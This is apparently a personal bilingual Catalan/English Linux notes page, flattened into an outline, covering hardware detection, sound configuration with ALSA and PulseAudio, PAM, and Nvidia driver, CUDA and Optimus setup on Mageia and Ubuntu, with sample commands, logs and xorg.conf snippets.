tar xvzf cnijfilter-mg2400series-4.00-1-rpm.tgzcd cnijfilter-mg2400series-4.00-1-rpm/packagesurpmi cnijfilter-common-4.00-1.i386.rpmurpmi cnijfilter-mg2400series-4.00-1.i386.rpmcd /usr/lib64ln -s /usr/lib/cups/ .- source compilation:
- ...
- Canon PIXMA TS8300 (2023) (impressora i escàner)
- LPRng (An Enhanced Printer Spooler)
- PhotoPrint
17IrDA#
18Maquinari / Hardware#
- Linux Hardware
- Mandrake Hardware
- Drivers
- Using Digital Still Photography Devices with GNU/Linux (IBM microdrive, compact flash cards support)
- IBM microdrive (Linuxcare)
- CD/DVD-RW
- Linux & DVDs (Stephen's Homepage)
- Linux PCI ID (pci.ids)
- hdparm
- Teclat / Keyboard
- disposició / layout
/etc/default/keyboard/usr/share/X11/xkb/symbols/
- Configuring keyboard layouts in X
- Símbols / Symbols (teclat català)
-
shift AltGr shift+AltGr ...
z Z « (guillemotleft) < x X » (guillemotright) > Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
-
- lineak
- klineakconfig (mdk)
- disposició / layout
- Dispositius / Devices
- The Linux storage stack diagram (svg)(wp)
-
interface linux driver /dev name - IDE master
hd<device_char>
- hda
- hdb
- IDE slave
- hdc
- hdd
- SCSI generic
(e.g. scanner)
sg<device_char> - SCSI optical
- ATAPI optical
sr<device_int>
- sr0
- sr1
- ...
- SCSI disk
scsi sd<device_char><partition>
- sda
- sdb
- sdc
- ...
- SATA
- USB
ide-scsi - NVMe (PCIe)
nvme nvme<controller>n<device>p<partition> - SD card
- MMC card
mmc mmcblk<device>p<partition> - virtual
xvd<letter>
- xvda
- ...
- xvdh (additional)
- ...
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Disc dur / Hard disk drive
-
- SMART
- library
- command line
- smartmontools
smartctl -a /dev/sda- Power_On_Hours
smartctl -A /dev/sda | awk '$2 ~/Power_On/ {print $10}'
- smartmontools
- GUI
- SSD
- SATA
- SMART
- Targetes de memòria / Memory cards
- SDcard
- exFAT (SDXC)
- Mageia
urpmi exfat-utils fuse-exfat(Tainted)
- Mageia
- Problemes / Problems (
Linux vant 4.4.68-desktop-1.mga5)journalctl -fkernel: mmc0: error -110 whilst initialising SD card- Solució / Solution
- Proveu un altre lector de targetes / Try another card reader
- Solució / Solution
kernel: mmc0: new ultra high speed SDR104 SDXC card at address aaaa
kernel: mmcblk0: error -110 sending stop command, original cmd response 0x0, card status 0x800b00
kernel: mmcblk0: unknown error -22 sending read/write command, card status 0x900
kernel: mmc0: cannot verify signal voltage switch
kernel: mmc0: tried to reset card
kernel: mmcblk0: unknown error -22 sending read/write command, card status 0x900
kernel: blk_update_request: I/O error, dev mmcblk0, sector 32768
kernel: Buffer I/O error on dev mmcblk0p1, logical block 0, lost async page write
mount.exfat[5004]: fsync failed: Input/output error
kernel: VFS: Dirty inode writeback failed for block device mmcblk0p1 (err=-5).- Solució / Solution
- Check hardware capabilities
- lspcidrake on a Vant
notebook
rtsx_pci : Realtek Semiconductor Co., Ltd.|RTL8411B PCI Express Card Reader (rev: 01)
- lspcidrake on a Vant
notebook
- Proveu a protegir-la contra escriptura (petita pestanya física de l'adaptador) / Try enabling write protection (physical tab on adapter)
- Check hardware capabilities
- exFAT (SDXC)
- SDcard
- Impressores / Printers
- Joysticks
- Bluetooth
- comproveu que teniu bluetooth al vostre ordinador
hcitool dev
- comproveu que teniu bluetooth al vostre ordinador
- Joystick
- dispositiu
ls -l /dev/input/js*
- prova
- Mageia
- Debian
sudo apt-get joystick
jstest /dev/input/js0
- dispositiu
- Bluetooth
- Manetes / Controllers
- Multimèdia
/ Multimedia
- Captura / Capture
- v4l2 (Video4Linux) (wp)
- root/drivers/media/v4l2-core
- The Video4Linux2 API: an introduction
- Dispositius / Devices
- ...
- USB-UVC
- 33. The Linux USB Video Class (UVC) driver
- Linux
UVC driver and tools
lsusb -d 5986:0401 -v | grep "14 Video"
- ...
- Eines / Tools
v4l2-ctl --list-devicesv4l2-ctl -d /dev/video1 -Lv4l2-ctl -c <option>=<value>
- Programari / Software
- v4l2 (Video4Linux) (wp)
- Captura / Capture
- Informació / Information
hardinfodmidecode -t tipus- tipus: bios system baseboard chassis processor memory cache connector slot
- Model de la placa mare / Motherboard model:
dmidecode -t baseboard
- Disc dur / Hard disk
hdparm -i /dev/sda- SMART
- CPU
cat /proc/cpuinfodmidecode -t processor- How do I obtain the serial number of the CPU in a PC?
- How to get CPU serial under Linux without root permissions
- lshw
- Mandriva
- lspcidrake
19So / Sound#
- Devices
- /dev/snd/...
- Kernel drivers
- OSS
- Alsa
- info
- config
- /etc/sound/profiles/pulse/alsa-default.conf
- /usr/share/alsa/pcm/pulseaudio.conf
- command line
- amixer
aplay -l(list of playback hardware devices)aplay -L(list all PCMs)aplay -D<pcm>:<card>,<device> toto.wavaplay -vv [-Ddefault] /usr/share/sounds/KDE-Im-Phone-Ring.wavaplay -vv -Dpulse /usr/share/sounds/KDE-Im-Phone-Ring.wavaplay -vv -Dfront:CARD=Intel,DEV=0 /usr/share/sounds/KDE-Im-Phone-Ring.wavaplay -vv -Dplughw:0,7 /usr/share/sounds/KDE-Im-Phone-Ring.wav
arecord -l
- amixer
- Eines / Tools
- GUI
- X
pavucontrol- VU-meter for inputs
- ncurses
pamix- VU-meter
pacmixerpulsemixeralsamixer
- X
- info text
amixeraplay -laplay -L
- GUI
- Servidor de so / Sound server
- aRts (used by KDE 2, 3) (wp)
- Jack Audio Connection Kit (wp)
- PulseAudio
(wp: diagrama)
- commands
pavucontrol- pactl
pactl statpactl listpactl move-sink-input ID SINKpacmd list
- GUI
- config files
/usr/share/pulseaudio/alsa-mixer//etc/pulse/default.pa
- modules
- urpmi pulseaudio-module-bluetooth
- info
- Pulse Audio (The Linux Experiment)
- Colin.Guthr.ie
- limitation:
- Pulse does not see hw:0,7 only the first (2) devices of each card are enumerated (*)
- Pulseaudio as a system service
- Running PulseAudio as System-Wide Daemon
- How to make PulseAudio run once at boot for all your users
- pulseaudio_system.service
- selinux
- if your service is pulseaudiosw.service:
ausearch -c 'pulseaudio' --raw | audit2allow -m pulseaudiosw >pulseaudiosw.te
- if your service is pulseaudiosw.service:
- Problemes / Problems
- Volum massa alt / Volume too loud
- HDMI
audio
out
- Intel
HDA HDMI
interfaces are not detected (PulseAudio
ticket #909)
/etc/pulse/default.pa- load-module module-alsa-sink device=hw:0,7 sink_name=DP set-default-sink DP update-sink-proplist DP device.description="DisplayPort?"
- load-module module-alsa-sink
device=hw:0,7
set-default-sink alsa_output.hw_0_7 - load-module module-alsa-sink
device=hw:1,7 sink_name=HDMI
set-default-sink HDMI - load-module module-alsa-sink
device=hw:0,1 sink_name=TOTO
set-default-sink TOTO
- Intel
HDA HDMI
interfaces are not detected (PulseAudio
ticket #909)
- commands
- Multimedia API
- Phonon (used by KDE 4) (wp)
- Inspiron 9400 +
Logitech webcam
-
aplay -l / arecord -l pavucontrol (Pulse Audio) KDE Multimedia Phonon card device type dispositius / configuració
0
Intel [HDA Intel] 0 STAC92xx Analog [STAC92xx Analog] playback dispositius de sortida Audio intern sortida d'àudio Audio intern Estèreo analògic capture dispositius d'entrada captura d'àudio 1 STAC92xx Digital [STAC92xx Digital] playback dispositius de sortida sortida d'àudio Audio intern Estèreo digital (IEC958) 1 default [Camera ]
USB Audio [USB Audio] capture dispositius d'entrada QuickCam for Notebooks captura d'àudio QuickCam for Notebooks analògic Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- aplay -l
- **** List of PLAYBACK Hardware Devices ****
card 0: Intel [HDA Intel], device 0: STAC92xx Analog [STAC92xx Analog]
Subdevices: 1/1
Subdevice #0: subdevice #0
card 0: Intel [HDA Intel], device 1: STAC92xx Digital [STAC92xx Digital]
Subdevices: 1/1
Subdevice #0: subdevice #0
- **** List of PLAYBACK Hardware Devices ****
aplay -L(list all PCMs)- null
Discard all samples (playback) or generate zero samples (capture)
pulse
PulseAudio Sound Server
default
Default ALSA Output (currently PulseAudio Sound Server)
front:CARD=Intel,DEV=0
HDA Intel, STAC92xx Analog
Front speakers
surround40:CARD=Intel,DEV=0
HDA Intel, STAC92xx Analog
4.0 Surround output to Front and Rear speakers
surround41:CARD=Intel,DEV=0
HDA Intel, STAC92xx Analog
4.1 Surround output to Front, Rear and Subwoofer speakers
surround50:CARD=Intel,DEV=0
HDA Intel, STAC92xx Analog
5.0 Surround output to Front, Center and Rear speakers
surround51:CARD=Intel,DEV=0
HDA Intel, STAC92xx Analog
5.1 Surround output to Front, Center, Rear and Subwoofer speakers
surround71:CARD=Intel,DEV=0
HDA Intel, STAC92xx Analog
7.1 Surround output to Front, Center, Side, Rear and Woofer speakers
iec958:CARD=Intel,DEV=0
HDA Intel, STAC92xx Digital
IEC958 (S/PDIF) Digital Audio Output
- null
- arecord -l
- **** List of CAPTURE Hardware Devices ****
card 0: Intel [HDA Intel], device 0: STAC92xx Analog [STAC92xx Analog]
Subdevices: 1/1
Subdevice #0: subdevice #0
card 1: default [Camera ], device 0: USB Audio [USB Audio]
Subdevices: 1/1
Subdevice #0: subdevice #0
- **** List of CAPTURE Hardware Devices ****
-
- Intel ICH7 (i3
2100T) + Haupauge PCI
-
aplay -l / arecord -l pavucontrol (Pulse Audio) KDE Multimedia Phonon card device type dispositius / configuració
0
CX8801 [Conexant CX8801] 0 CX88 Digital [CX88 Digital] capture
1
PCH [HDA Intel PCH] 0 ALC892 Analog [ALC892 Analog] playback
capture
1 ALC892 Digital [ALC892 Digital] playback
3 HDMI 0 [HDMI 0] playback
7 HDMI 1 [HDMI 1] playback
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- aplay -l
- card 1: PCH [HDA Intel PCH], device 0: ALC892 Analog
[ALC892 Analog]
Subdevices: 1/1
Subdevice #0: subdevice #0
card 1: PCH [HDA Intel PCH], device 1: ALC892 Digital [ALC892 Digital]
Subdevices: 1/1
Subdevice #0: subdevice #0
card 1: PCH [HDA Intel PCH], device 3: HDMI 0 [HDMI 0]
Subdevices: 1/1
Subdevice #0: subdevice #0
card 1: PCH [HDA Intel PCH], device 7: HDMI 1 [HDMI 1]
Subdevices: 0/1
Subdevice #0: subdevice #0
- card 1: PCH [HDA Intel PCH], device 0: ALC892 Analog
[ALC892 Analog]
- aplay -L
- null
Discard all samples (playback) or generate zero samples (capture)
pulse
PulseAudio Sound Server
default
Default ALSA Output (currently PulseAudio Sound Server)
front:CARD=PCH,DEV=0
HDA Intel PCH, ALC892 Analog
Front speakers
surround40:CARD=PCH,DEV=0
HDA Intel PCH, ALC892 Analog
4.0 Surround output to Front and Rear speakers
surround41:CARD=PCH,DEV=0
HDA Intel PCH, ALC892 Analog
4.1 Surround output to Front, Rear and Subwoofer speakers
surround50:CARD=PCH,DEV=0
HDA Intel PCH, ALC892 Analog
5.0 Surround output to Front, Center and Rear speakers
surround51:CARD=PCH,DEV=0
HDA Intel PCH, ALC892 Analog
5.1 Surround output to Front, Center, Rear and Subwoofer speakers
surround71:CARD=PCH,DEV=0
HDA Intel PCH, ALC892 Analog
7.1 Surround output to Front, Center, Side, Rear and Woofer speakers
iec958:CARD=PCH,DEV=0
HDA Intel PCH, ALC892 Digital
IEC958 (S/PDIF) Digital Audio Output
hdmi:CARD=PCH,DEV=0
HDA Intel PCH, HDMI 0
HDMI Audio Output
hdmi:CARD=PCH,DEV=1
HDA Intel PCH, HDMI 1
HDMI Audio Output
- null
- arecord -l
- **** List of CAPTURE Hardware Devices ****
card 0: CX8801 [Conexant CX8801], device 0: CX88 Digital [CX88 Digital]
Subdevices: 1/1
Subdevice #0: subdevice #0
card 1: PCH [HDA Intel PCH], device 0: ALC892 Analog [ALC892 Analog]
Subdevices: 1/1
Subdevice #0: subdevice #0
- **** List of CAPTURE Hardware Devices ****
-
20PAM (Pluggable Authentication Modules)#
- PAM i NSS
- Intro to Linux Pluggable Authentication Modules (Linux Magazine)
- An introduction to Pluggable Authentication Modules (PAM) in Linux (Red Hat)
man pam.conf- /etc/pam.d/
- login
- sshd
- ...
- Integració / Integration
- LDAP
- LDAP Authentication HOWTO
- Modules
- pam-ldap: authentication (
urpmi pam_ldap) - nss-ldap: session (
urpmi nss_ldap)
- pam-ldap: authentication (
- Mageia
MCC
- System / Authentication
- Samba
- LDAP
21Programari / Software#
- dmidecode (mdk)
- The table of equivalents / replacements / analogs of Windows software in Linux
- Software sites
- GNU/Linux Links (Zhar)
- Window managers for X
- Entorns d'escriptori / Desktop environments
- Linux Enterprise Computing
- Empaquetadors / Packagers
- Monitoratge / Monitoring
- 20 Linux System Monitoring Tools Every SysAdmin Should Know
- Shell monitor commands
- ksysguard
- Irix tools for Linux (gmemusage, hinv)
- Administració / Administration
23Desenvolupament / Development#
- Linux Magazine
- Linux Programming Blog
- Cambridge University Engineering Department
- YoLinux
- The Linux Documentation Project
- HOWTO index (by category)
- Sockets
- EWOULDBLOCK error
- would block error in Snowmix
- WHY
DOES SEND() RETURN EAGAIN / EWOULDBLOCK? (IBM)
- server3.c
- client3.c
-
mode when buffer is full, send() will ... blocking hang until there is room in the buffer non blocking fail with error: EAGAIN (try again later) / EWOULDBLOCK (it would block) Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- ...
- EWOULDBLOCK error
24Ncurses#
- Ncurses programming How-To
- Aplicacions / Applications
- Curses file manager - cfm (Python)
- linuXtree
- Unix Tree
25Targetes gràfiques / Graphics cards#
- Info
lscpi- lspcidrake
glsxinfo -B- ...
- Intel
- ...
- VAAPI
- Mageia
- urpmi libva-info
vainfo
- Mageia
- Nvidia
- Info
- Mageia
- Nvidia propietary drivers
- Nvidia Optimus
-
Mageia 9: nvidia
Mageia 9: CUDA toolkit - Driver: New Feature
- nvidia545
- nvidia-newfeature-all (575.64.05)
- ...
- Driver: Production
- GeForce 745 and later
- nvidia-current-all (580.119.02,
535.86.05)
- dkms-nvidia-current
- nvidia-current-cuda-opencl
- nvidia-current-devel
- nvidia-current-doc-html
- nvidia-current-lib32
- cal tenir activats els repositoris de 32-bit
- nvidia-current-utils
nvidia-smi- ...
- x11-driver-video-nvidia-current
- nvidia-cuda-toolkit (12.4.1, 12.1.1)
- nvidia-cuda-toolkit-devel (12.4.1,
12.1.1)
- cuda-gdb
- nvcc
- ...
- nvidia-cuda-toolkit-samples (12.4.1, 12.1.1)
- Driver: Latest Legacy
- GeForce 635 to 920
- nvidia470-all (470.256.02, 470.199.02)
- dkms-nvidia470
- nvidia470-cuda-opencl
- nvidia-cuda-mps-control
- nvidia-cuda-mps-server
- libcuda.so
- libnvcuvid.so.1
- libnvidia-opencl.so.1
- ...
- nvidia470-devel
- nvidia470-doc-html
- nvidia470-lib32
- nvidia470-utils
nvidia-modprobenvidia-ngx-updaternvidia-persistencednvidia-smi
- x11-driver-video-nvidia470
- (no hi ha paquet, cal instal·lar CUDA 11.4 Update 4 manualment)
- Mageia 9: dropped
- Mageia 8
- nvidia390
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Remote visualization on server-class Tesla GPUs (pdf)
- similar to VirtualGL background
- Mageia
- drivers
-
model mem
lspciNvidia Driver (Mageia)
(search / old)CUDA CUDA
compute capability
RTX 3070 Mobile 8GB PC Specialist 01:00.0 VGA compatible controller: NVIDIA Corporation GA104M [GeForce RTX 3070 Mobile / Max-Q] (rev a1)- nvidia-current-all
- nvidia-cuda-toolkit
12 8.6 GeForce GTX 660M 2GB Mountain 01:00.0 VGA compatible controller: NVIDIA Corporation GK107M [GeForce GTX 660M] (rev a1)GeForce / GeForce 600M Series (Notebook)
- 470.239
(tot i no aparèixer als resultats, però funciona,
instal·lat ambmageia-prime-install -3 -f) - 390.157 (Nov 2022)
- 418.113 (Nov 2019)
11.4.4
3.0
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Data center Tesla
- AWS EC2
- Install
NVIDIA drivers on Linux instances
- Types
of NVIDIA drivers
- Tesla drivers
- GRID drivers
- Gaming drivers
- Installation options
- Option 1: AMIs with the NVIDIA drivers installed
- Option 2: Public NVIDIA drivers
- Option 3: GRID drivers (G5, G4dn, and G3 instances)
- Option 4: NVIDIA gaming drivers (G5 and G4dn instances)
- Types
of NVIDIA drivers
- g3
- lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 01)
00:02.0 VGA compatible controller: Cirrus Logic GD 5446
00:03.0 Ethernet controller: Amazon.com, Inc. Elastic Network Adapter (ENA)
00:1e.0 VGA compatible controller: NVIDIA Corporation GM204GL [Tesla M60] (rev a1)
00:1f.0 Unassigned class [ff80]: XenSource, Inc. Xen Platform Device (rev 01)
- lspci
- g4dn
- lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma]
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.3 Non-VGA unclassified device: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 08)
00:03.0 VGA compatible controller: Amazon.com, Inc. Device 1111
00:04.0 Non-Volatile memory controller: Amazon.com, Inc. NVMe EBS Controller
00:05.0 Ethernet controller: Amazon.com, Inc. Elastic Network Adapter (ENA)
00:1e.0 3D controller: NVIDIA Corporation TU104GL [Tesla T4] (rev a1)
00:1f.0 Non-Volatile memory controller: Amazon.com, Inc. NVMe SSD Controller
- lspci
- c5
- lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma]
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.3 Non-VGA unclassified device: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 08)
00:03.0 VGA compatible controller: Amazon.com, Inc. Device 1111
00:04.0 Non-Volatile memory controller: Amazon.com, Inc. NVMe EBS Controller
00:05.0 Ethernet controller: Amazon.com, Inc. Elastic Network Adapter (ENA)
- lspci
- Install
NVIDIA drivers on Linux instances
-
- setup
nvidia-xconfig- creates an xorg.conf file
- if you also have an Intel integrated graphics card, use Optimus instead
nvidia-settings- GUI
- cli (man)
DISPLAY=:0 nvidia-settings -q allDISPLAY=:0 nvidia-settings -q screensDISPLAY=:0 nvidia-settings -q :0/SyncToVBlankDISPLAY=:0 nvidia-settings -a 'SyncToVBlank=1'
nvidia-smi- install
- Mageia
dnf install nvidia-current-utils- get info
nvidia-smi -q
- Problemes / Problems
NVIDIA-SMI couldn't find libnvidia-ml.so library in your system. Please make sure that the NVIDIA Display Driver is properly installed and present in your system.
Please also try adding directory that contains libnvidia-ml.so to your system PATH.- Solució / Solution
- (p.e. amb un portàtil amb gràfics híbrids) heu d'activar nvidia en lloc d'Intel UHD Graphics: Optimus
Failed to initialize NVML: Driver/library version mismatch- How to resolve "Failed to initialize NVML: Driver/library version mismatch" error
- Solució / Solution
- Ubuntu
sudo apt-mark hold nvidia-*
- Ubuntu
- ...
- Monitoratge / Monitor
- nvtop
- Instal·lació
- Mageia 9
sudo dnf install nvtop
- AppImage
- wget https://github.com/Syllo/nvtop/releases/download/3.0.1/nvtop-3.0.1-x86_64.AppImage
- dependències
- Mageia
- ...
- Mageia
- compilació
- git clone https://github.com/Syllo/nvtop.git
- ...
- Mageia 9
- Instal·lació
- ...
- nvtop
- nvidia-modprobe
- nvidia-modprobe (GitHub)
- nvidia-modprobe
- CUDA
- Table 3 CUDA Toolkit and Corresponding Driver Versions
- Your GPU Compute Capability
- CUDA-Z
- Instal·lació / Installation
- Mageia 9
sudo dnf install cuda-z
- Instal·lació / Installation
- Mageia 9
- nvidia-current (580, 535)
sudo urpmi nvidia-cuda-toolkit cuda-z- nvidia470 (antic)
- no hi ha paquet de la versió de cuda toolkit compatible amb nvidia470; us heu de descarregar manualment la versió adequada: CUDA 11.4 Update 4, per exemple amb Conda
- Compilació (necessària per a nvidia470)
- NVIDIA CUDA Installation Guide for Linux
- Requisits / Requirements
- Mageia 9
sudo dnf install gcc kernel-desktop-devel-latest ...- sudo dnf install conda
- sudo dnf install compat-cuda-gcc11
- Mageia 9
- Descàrrega
- 9. Conda installation
- Paquets per a distribucions
- 8. Runfile installation
- 13.
Post-installation actions
- compile and run cuda-samples
export CUDA_PATH=~/.conda/envs/gpu- export
HOST_COMPILER=gcc-11
export HOST_COMPILER=g++-11 cd ~/.conda/envs/gpu/cuda-samplescd 1_Utilities/deviceQuery- make
- ./deviceQuery
- compile and run cuda-samples
- ...
- Desenvolupament / Development
- Python
- Numba
- Numba tutorial (gtc2017-numba)
- Numba
- Python
- Nvidia Optimus
- Info
- The
Ultimate Guide to Setting Up Nvidia Optimus on
Linux
lspci -vnn | grep '\''[030[02]\]'
- Mountain
Studio MX
00:02.0 VGA compatible controller [0300]: Intel Corporation 3rd Gen Core processor Graphics Controller [8086:0166] (rev 09) (prog-if 00 [VGA controller])
01:00.0 VGA compatible controller [0300]: NVIDIA Corporation GK107M [GeForce GTX 660M] [10de:0fd4] (rev a1) (prog-if 00 [VGA controller])- PC Specialist Defiance
- 00:02.0
VGA compatible controller [0300]: Intel
Corporation TigerLake-H GT1 [UHD Graphics]
[8086:9a60] (rev 01) (prog-if 00 [VGA
controller])
01:00.0 VGA compatible controller [0300]: NVIDIA Corporation GA104M [GeForce RTX 3070 Mobile / Max-Q] [10de:249d] (rev a1) (prog-if 00 [VGA controller])
- The
Ultimate Guide to Setting Up Nvidia Optimus on
Linux
- CUDA
- Ubuntu
- Info
- Drivers
- Software & Updates -> Additional drivers
-
nvidia-driver-xxx nvidia-driver-xxx-open nvidia-driver-xxx-server nvidia-driver-xxx-server-open Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Commuta entre perfils
-
nvidia-settings
PRIME profilessudo prime-select ...x11
(apt install plasma-session-x11)wayland
(apt install plasma-session-...)...
query
NVIDIA (Performance Mode) nvidiatotes les aplicacions s'executaran a nvidia només s'executarà amb nvidia: way...
si es vol executar alguna aplicació amb nvidia cal _GLX...
NVIDA On-Demand on-demand
Intel (Power Saving Mode) intel
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Engega una aplicació sobre una GPU específica
- drivers privats
__GLX_VENDOR_LIBRARY_NAME=nvidia __NV_PRIME_RENDER_OFFLOAD=1 glxgears- nouveau
DRI_PRIME=1 glxgears- Monitoratge
nvidia-sminvtop- sort by: DEV (ascending)
- Opcions / Options
- mageia-prime:
switch between nvidia (proprietary) and intel
- Mageia-prime for Optimus
- ghibo / mageia-prime
- Install
dnf install mageia-primeurpmi mageia-prime
- Ús / Usage
- MCC: configure only Intel integrated card
mageia-prime-install -h- first time
- GeForce GTX 660M
mageia-prime-install -3 -f- -3: force nvidia470 instead of nvidia-current (535)
-f: force a fresh xorg.conf generation
- will install:
- dkms-nvidia470
- nvidia470-cuda-opencl
- x11-driver-video-nvidia470
- will download:
- /usr/src/nvidia470-470.199.02-1.mga9.nonfree
- after reboot:
$ lsmod | grep nvidia
nvidia_uvm 1355776 0
nvidia_drm 77824 45
nvidia_modeset 1212416 41 nvidia_drm
nvidia 35647488 3640 nvidia_uvm,nvidia_modeset
drm_kms_helper 249856 3 drm_display_helper,nvidia_drm,i915
drm 831488 50 drm_kms_helper,drm_display_helper,nvidia,drm_buddy,nvidia_drm,i915,ttm
video 73728 2 i915,nvidia_modeset
- GeForce RTX 3070
mageia-prime-install- will install:
- dkms-nvidia-current
- nvidia-current-cuda-opencl
- x11-driver-video-nvidia-current
- will download:
Creating symlink /var/lib/dkms/nvidia-current/580.159.04-1.mga10.nonfree/source ->
/usr/src/nvidia-current-580.159.04-1.mga10.nonfree
- Warnings:
Checking package x11-driver-video-nvidia-current...already installed.
Switching to NVidia GL libraries...ok.
modprobe: ERROR: could not insert 'nvidia_current': No such device
Warning: failed to modprobe nvidia kernel module
modprobe: ERROR: could not insert 'nvidia_uvm': Device or resource busy
Warning: failed to modprobe nvidia-uvm kernel module
modprobe: ERROR: could not insert 'nvidia_drm': Device or resource busy
Warning: failed to modprobe nvidia-drm kernel module
mageia-prime for NVidia graphics card configured (with 4 warnings)
Please restart X11 or reboot the system.
- will backlist nouveau (free) drivers:
-
/etc/modprobe.d/00_mageia-prime.conf
-
/etc/modprobe.d/00_mageia-prime.conf
- reboot
- GeForce GTX 660M
- next times
- switch to Nvidia
mageia-prime-install
- switch to Intel
mageia-prime-uninstall- comproveu que no teniu aquest
fitxer / verify that this file is
not present:
/etc/X11/xorg.conf.d/10-nvidia.conf
- Problemes
- realpath:
dkms/drivers/char/drm/nvidia470.ko.xz:
No such file or directory
dracut: installkernel failed in module kernel-modules-extra
failed!
There were 1 warnings or errors. Probably you have to unconfigure manually.- Solució
- ...
- Solució
- realpath:
dkms/drivers/char/drm/nvidia470.ko.xz:
No such file or directory
- Nota: en sistemes més antics, que fan servir nvidia390, no feu servir l'opció -z (reinicia el servidor), perquè us poden quedar processos kwin_x11 engegats, que consumeixen cpu i impedeixen un login correcte
- xorg.conf
intel nvidia (new version; not working?) nvidia (old version) Section "ServerLayout"
Identifier "layout1"
Screen "screen1"
EndSection
Section "ServerLayout"
Identifier "layout"
Option "AllowNVIDIAGPUScreens"
EndSectionSection "ServerLayout"
Identifier "layout"
Screen 0 "nvidia"
Inactive "intel"
Option "AllowNVIDIAGPUScreens" "true"
Option "AllowExternalGpus" "true"
InputDevice "MyKeyboard" "CoreKeyboard"
EndSection
Section "Screen"
Identifier "screen1"
Device "device1"
Monitor "monitor1"
EndSection
Section "OutputClass"
Identifier "nvidia"
MatchDriver "nvidia-drm"
Driver "nvidia"
Option "AllowEmptyInitialConfiguration"
#Option "SLI" "off"
Option "BaseMosaic" "on"
EndSectionSection "Screen"
Identifier "nvidia"
Device "nvidia"
Monitor "MyMonitor"
Option "AllowEmptyInitialConfiguration" "true"
#Option "UseDisplayDevice" "None"
#Option "IgnoreDisplayDevices" "CRT"
#Option "UseEDID" "off"
#Option "UseEdidDpi" "false"
#Option "DPI" "96 x 96"
#Option "DPI" "192 x 192"
#Option "DPI" "282 x 282"
#Option "TripleBuffer" "true"
EndSectionSection "Device"
Identifier "device1"
VendorName "Intel Corporation"
BoardName "Intel 810 and later"
Driver "intel"
Option "DPMS"
EndSection
Section "Device"
Identifier "nvidia"
Driver "nvidia"
BusID "PCI:1:0:0"
EndSection
Section "Monitor"
Identifier "monitor1"
VendorName "Plug'n Play"
...
EndSection
Section "Monitor"
Identifier "MyMonitor"
Vendorname "Unknown"
ModelName "Unknown"
Option "DPMS"
EndSection
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- switch to Nvidia
- Verify
- leds on Mountain
- glxinfo
glxinfo -B
glxinfo | grep "OpenGL renderer"
- glinfo
- clinfo
- dnf install clinfo
- nvidia-settings
- nvidia-smi
- CUDA
cuda-zCUDA Error: 00000023 CUDA driver version is insufficient for CUDA runtime version
- when using Nvidia > 390
- vídeo
- ffmpeg ...
- navegadors
- leds on Mountain
- Problemes
- a /etc/X11/xorg.conf.d/
- 10-nvidia.conf
Section "OutputClass"
Identifier "nvidia"
MatchDriver "nvidia-drm"
Driver "nvidia"
Option "AllowEmptyInitialConfiguration"
EndSection
Section "Files"
ModulePath "/usr/lib64/xorg/modules/extensions/nvidia390"
ModulePath "/usr/lib64/xorg/modules"
EndSection- creat per la instal·lació dels drivers nvidia
- 20-mageia-prime.conf
# automatically generated by mageia-prime-install
Section "OutputClass"
Identifier "nvidia"
MatchDriver "nvidia-drm"
Driver "nvidia"
Option "AllowEmptyInitialConfiguration" "on"
Option "PrimaryGPU" "yes"
Option "IgnoreDisplayDevices" "CRT"
EndSection- posat per mageia-prime-install, però no sembla ser gaire útil, perquè no té la referència a Files nvidia390, que sí que té 10-nvidia.conf
- si hi ha 10-nvidia.conf quan es
vol fer servir Intel:
- glxinfo:
Error: couldn't find RGB GLX visual or fbconfig
- glxinfo:
- si no hi és quan es vol nvidia:
- glxinfo: llvmpipe (software rendering)
- 10-nvidia.conf
- GeForce GTX 660M
- after returning to Intel (
mageia-prime-uninstall -z)- glxinfo
name of display: :0
Error: couldn't find RGB GLX visual or fbconfig
- /etc/Xorg.0.log
- (EE) Failed to initialize GLX extension (Compatible NVIDIA X driver not found)
- Solució / Solution
- remove any reference to nvidia from /etc/X11/xorg.conf.d/, e.g.: 10-nvidia.conf
- glxinfo
- after returning to Intel (
- a /etc/X11/xorg.conf.d/
- Bumblebee
(primusrun)
- FAQ
- bbswitch
- Bumblebee Mageia wiki
- [MAQeia] Hybrid graphics
- Nvidia GLX extension loaded but failed to initialize
- Getting Nvidia Optimus working on my Lenovo Ideapad Y580 Ubuntu/Kubuntu
- Instal·lació / Installation
(urpmi.addmedia --wget --distrib http://packages.mageialinux.ru/mageia4/x86_64)urpmi bumblebee primus lib64virtualglsystemctl start bumblebeed.servicesystemctl enable bumblebeed.service- sudo gpasswd -a my_user bumblebee
$ newgrp bumblebee
- Utilització / Usage
urpmi mesa-demos- $ primusrun glxgears
- $
primusrun
firefox https://videos.cdn.mozilla.net/uploads/mozhacks/flight-of-the-navigator/ - deprecated:
$ optirun glxgears$ optirun firefox https://videos.cdn.mozilla.net/uploads/mozhacks/flight-of-the-navigator/
urpmi vdpauinfo lib64vdpau-va-gl1
- vdpauinfo
- mageia-prime:
switch between nvidia (proprietary) and intel
- ...
- Info
- ...
- Info
26Gràfics / Graphics#
-
graphical interface
- KDE Plasma
- GnomeShell
- Aqua
display server
communication protocol X11 (X-Window) Wayland Mir implementation - server
- X.Org Server
- + compositing window manager
- KWin (used by KDE Plasma)
